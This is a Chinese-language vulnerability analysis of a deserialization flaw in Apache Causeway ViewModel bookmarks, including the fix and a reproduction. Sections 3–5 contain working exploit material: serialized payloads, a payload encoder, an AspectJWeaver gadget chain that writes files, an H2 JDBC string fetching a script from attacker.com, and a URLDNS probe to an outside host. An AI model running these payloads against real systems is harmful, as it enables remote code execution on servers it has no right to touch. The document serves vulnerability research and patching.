1. 漏洞概述

Apache Causeway 是 Apache 基金会开源的 Java 企业级领域建模框架,基于 Spring Boot 架构,能够为实体类、领域服务和 ViewModel 自动生成 Web 界面与 API 接口,广泛应用于企业级管理系统的构建。

在受影响的版本中,框架在处理 ViewModel 的书签(bookmark)与 URL 片段时存在严重的安全缺陷:系统将客户端可控的内容直接作为对象状态进行反序列化,且缺乏完整性校验机制。这使得经过身份认证的攻击者能够构造恶意的 URL 片段,当服务端尝试还原 ViewModel 时触发反序列化操作,在存在可利用 gadget 链的环境下实现远程代码执行。

修复方案

修复版本通过以下措施彻底解决了该安全问题:

  • 为 ViewModel 书签与 memento 引入基于 HMAC 的数字签名与验签流程
  • 服务端在反序列化前强制校验签名,验证失败即终止处理
  • ViewModelFacet 与内部 Memento 工具统一使用 HmacAuthority 完成安全验证

通过漏洞情报确认,Causeway 存在反序列化执行漏洞,主要出现在 ViewModel 处理流程中。虽然该漏洞需要经过认证才能利用,但在反序列化过程中缺乏必要的安全校验。

2. 漏洞分析

2.1 源码分析方法

通过 OSCS 提供的参考链接 https://issues.apache.org/jira/browse/CAUSEWAY-3939,确定了问题编号为 CAUSEWAY-3939。通过分析 Causeway 项目的 commit 提交记录,我们定位到了相关的源码变更。

关键发现:在文件变动中,commons/src/main/java/org/apache/causeway/commons/internal/memento/_MementoDefault.java 被删除,该文件中包含了存在安全风险的反序列化操作。从异常信息的内容分析,可以确定该位置就是反序列化的 sink 点,用于反序列化来自字符串的 memento 对象。

2.2 调用链路分析

通过从 read 方法开始的逆向分析,我们梳理出了完整的漏洞触发调用链:

org.apache.causeway.commons.internal.memento._MementoDefault#parse
    -> org.apache.causeway.commons.internal.memento._Mementos#parse
        -> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#parseMemento
            -> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#createViewmodel
                -> org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetAbstract#instantiate

其中,parseMemento 方法负责解析来自 bookmark 书签的 identifier 字段作为序列化内容的来源。接下来我们需要深入分析 bookmark 书签内容的加载机制。

2.3 Bookmark 解析机制

在 Bookmark 内部的 parse 方法中,可以清楚看到书签的解析流程:

  1. 使用 StringTokenizer 进行字符串分割,以 : 作为分隔符
  2. 解析后分为两个关键参数:
    • logicalTypeName:逻辑类型名称
    • urlSafeIdentifier:URL 安全标识符(这正是反序列化的数据源)

攻击载荷结构logicalTypeName:攻击载荷

2.4 类型验证机制

org.apache.causeway.core.metamodel.spec.impl.SpecificationLoaderDefault#lookupLogicalType 方法中,系统对传入的 logicalTypeName 进行有效性验证:

  • 首先检查 logicalTypeResolver 中是否存在有效的逻辑类型
  • 如果不存在,则通过 loadClass(logicalTypeName) 方法加载指定类名对应的类

3. 漏洞复现测试

3.1 测试环境搭建

我们使用 Causeway 官方提供的示例项目进行测试,项目地址:https://github.com/apache/causeway-app-helloworld

3.2 初步测试发现

启动项目后,在 Configuration 模块传入包含 Base64 编码反序列化内容的 path 参数时,后端在解码 Base64 时出现了无效字符错误:

错误信息Caused by: java.lang.IllegalArgumentException: Illegal base64 character 2b

测试载荷

causeway.conf.ConfigurationViewmodel:rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQABzEyMy50eHRzcgArb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAPG9yZy5hcGFjaGUuY29

3.3 编码机制分析

通过进一步分析,我们在 org.apache.causeway.core.runtimeservices.urlencoding.UrlEncodingServiceWithCompression#decode 方法中发现了 Causeway 的数据处理机制:

双重处理流程

  1. 对传入字符串进行 Base64 解码
  2. 使用 GZip 进行解压操作
  3. 返回最终的字节数组

因此,在构造反序列化 Payload 时,也需要进行相应的双重处理:

  1. 先对内容进行 GZip 压缩
  2. 然后进行 Base64 编码

3.4 编解码工具实现

下面是用于 Causeway Base64 URL 编解码的完整代码实现:

public class CausewayBase64Utils {

    public static final BytesOperator asCompressedUrlBase64 = operator()
            .andThen(CausewayBase64Utils::compress)
            .andThen(bytes -> Base64.getUrlEncoder().encode(bytes));

    public static final BytesOperator ofCompressedUrlBase64 = operator()
            .andThen(bytes -> Base64.getUrlDecoder().decode(bytes))
            .andThen(CausewayBase64Utils::decompress);

    public static BytesOperator operator() {
        return new BytesOperator(UnaryOperator.identity());
    }

    static byte[] compress(final byte[] input) {
        if (input.length < 18) {
            return input;
        } else {
            return input.length < 256 ? prepend(input, new byte[]{0}) : prepend(gzip_compress(input), new byte[]{1});
        }
    }

    static byte[] decompress(final byte[] input) {
        if (input != null && input.length >= 18) {
            byte[] inputWithoutPrefix = Arrays.copyOfRange(input, 1, input.length);
            return gzip_decompress(inputWithoutPrefix);
        } else {
            return input;
        }
    }

    public static final byte[] prepend(@Nullable final byte[] target, @Nullable final byte... bytes) {
        if (target == null) {
            return bytes == null ? null : (bytes).clone();
        } else if (bytes == null) {
            return (target).clone();
        } else {
            byte[] result = new byte[target.length + bytes.length];
            System.arraycopy(bytes, 0, result, 0, bytes.length);
            System.arraycopy(target, 0, result, bytes.length, target.length);
            return result;
        }
    }

    public static byte[] gzip_compress(final byte[] input) {
        try {
            int BUFFER_SIZE = Math.max(256, input.length);
            ByteArrayOutputStream os = new ByteArrayOutputStream(BUFFER_SIZE);
            GZIPOutputStream gos = new GZIPOutputStream(os);
            gos.write(input);
            gos.close();
            return os.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static byte[] gzip_decompress(final byte[] compressed) {
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(compressed);
            GZIPInputStream gis = new GZIPInputStream(is, 32);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] data = new byte[32];

            int bytesRead;
            while ((bytesRead = gis.read(data)) != -1) {
                baos.write(data, 0, bytesRead);
            }

            gis.close();
            return baos.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static final class BytesOperator {
        private final UnaryOperator<byte[]> operator;

        private BytesOperator(final UnaryOperator<byte[]> operator) {
            if (operator == null) {
                throw new NullPointerException("operator cannot be null");
            }
            this.operator = operator;
        }

        public byte[] apply(final byte[] input) {
            return operator.apply(input);
        }

        public BytesOperator andThen(final UnaryOperator<byte[]> andThen) {
            try {
                return new BytesOperator(s -> andThen.apply(operator.apply(s)));
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    }
}

3.5 编解码流程详解

编码流程 (asCompressedUrlBase64)

原始 byte[] → 压缩处理 → 压缩后的 byte[] → URL Base64编码 → 最终编码结果

当调用 asCompressedUrlBase64.apply(originalBytes) 时:

  1. originalBytes 首先传递给 CausewayBase64Utils::compress 方法进行压缩
  2. 压缩后的字节数组传递给 Base64.getUrlEncoder().encode() 进行 Base64 编码
  3. 返回最终的 Base64 编码字节数组

解码流程 (ofCompressedUrlBase64)

URL Base64编码的 byte[] → URL Base64解码 → 压缩后的 byte[] → 解压缩 → 原始 byte[]

4. 漏洞利用实现

4.1 AspectJWeaver 利用链

我们选择使用 AspectJWeaver 反序列化链来实现漏洞利用。该利用链将在 /tmp 目录下创建一个名为 n1es.txt 的文件。

最终 Payload

causeway.conf.ConfigurationViewmodel:AR-LCAAAAAAAAP-FkjFvEzEUx1_vlDRFFaSogpEOlTogbCHBgIKgtKJq0QFDMiCx4CZO7oLPNvZLeunAwMiEUKYiIT5AqeAjVBUfAEZgQEIdmVg68nyhUhFDT7q7Z7_n__vZf-_-gop3MNcXQ8EGmCm2Lnx6X9jK9Nf9gwtPPscQrcEZZURnTbTRuA2YwdRJnxrVKeztZQjP7FaNvnV6p0jsunE9Jqxop5K1TZ4b7emvlGxjRvE19lSOhkINJGtlskO97mp0o5fvv7y5sX_pWwRRAjGVIJxPAhZXQvf4w80-rW9QKhcW4dwkFYg5KTQKmqvpq9IzLJAYLp_GQCosEdsjWqwPxy_ejurjGKYSmO6W26TuVxLS4BMN_leDn9TgLSe07xqXS0cA1PXmaV27Ax3UPVulIQqNJyQeDV_N3Yk-jqOAMZMdVzyD5xAXduAgeryy-_viUbXW-hE

4.2 利用代码实现

public static void main(String[] args) throws Exception {
    String fileName = "n1es.txt";
    String filePath = "/tmp/";
    String fileContent = "n1es is here";

    // 初始化 HashMap
    HashMap<Object, Object> hashMap = new HashMap<>();

    // 实例化 StoreableCachingMap 类
    Class<?> c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
    Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
    constructor.setAccessible(true);
    Map map = (Map) constructor.newInstance(filePath, 10000);

    // 初始化 Transformer,使其 transform 方法返回要写入的文件内容
    Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));

    // 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
    Map lazyMap = LazyMap.lazyMap(map, transformer);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);

    HashMap<Object, Object> objects = new HashMap<>();
    objects.put(entry, entry);

    // 序列化并编码
    byte[] bytes = writeObjectToBytes(objects);
    byte[] encodedPayload = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
    System.out.println(new String(encodedPayload));
}

4.3 攻击成功验证

5. 高版本JDK环境下的利用挑战与替代方案

通过前述测试验证,可以证明了Apache Causeway反序列化漏洞的可利用性,攻击者确实可以通过精心构造的URL参数触发反序列化操作。然而,在实际的生产环境中,由于Causeway框架采用JDK 21作为运行环境,高版本JDK的安全限制为漏洞利用带来了显著挑战

5.1 JDK 17+版本的安全限制

在JDK 17及更高版本中,Oracle引入了更严格的模块化访问控制机制,主要体现在:

  1. 内部类反射访问限制:JDK 17+环境禁止对JDK内部类进行反射访问,当尝试访问如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl等内部类时,系统将抛出IllegalAccessException异常。

  2. 模块边界强化:Java平台模块系统(JPMS)的严格实施,使得传统的基于TemplatesImpl的字节码注入攻击路径被完全阻断。

  3. 反序列化过滤器增强:内置的反序列化安全过滤器默认拦截已知的恶意类,进一步提升了攻击门槛。

5.2 高版本环境下的替代攻击向量

尽管传统攻击路径受限,但仍存在可行的替代方案。参考Qwzf关于Java 17及更高版本中通过JDBC连接实现反序列化漏洞利用的研究,在高版本JDK环境下可以探索以下攻击路径:

5.2.1 Apache Commons DBCP2 + H2数据库攻击链

这种攻击方式利用了:

  • Apache Commons DBCP2:作为数据库连接池组件
  • H2数据库:通过其脚本执行功能实现远程代码执行
  • JDBC连接字符串注入:绕过高版本JDK的类访问限制

5.2.2 攻击链路示例

// 利用H2数据库的RUNSCRIPT功能
String maliciousUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";

此方法的优势在于:

  • 不依赖JDK内部类的反射访问
  • 绕过TemplatesImpl等传统攻击类的限制
  • 利用合法的JDBC功能实现代码执行

5.3 实战环境的适配挑战

在实际测试过程中,我们还遇到了环境差异导致的兼容性问题:

依赖缺失问题:在某些测试环境中发现缺少aspectjweaver相关类,导致基于AspectJWeaver的攻击链无法正常工作。

环境适配策略:为确保漏洞验证的可靠性,采用了URLDNS攻击链作为通用验证方案:

// URLDNS - 通用的漏洞存在性验证方法
HashMap map = new HashMap();
URL   url = new URL("http://zzvirkbsbt.dgrh3.cn");
Field f   = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);
map.put(url,123);
f.set(url,-1);

byte[] bytes = writeObjectToBytes(map);
byte[] apply = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(apply));

URLDNS链路的优势:仅依赖JDK核心类,无外部依赖,仅进行网络请求,不执行恶意代码。

结论:Apache Causeway的反序列化漏洞在概念验证层面确实可行,但在实际利用中需要根据目标环境的具体配置选择合适的攻击向量。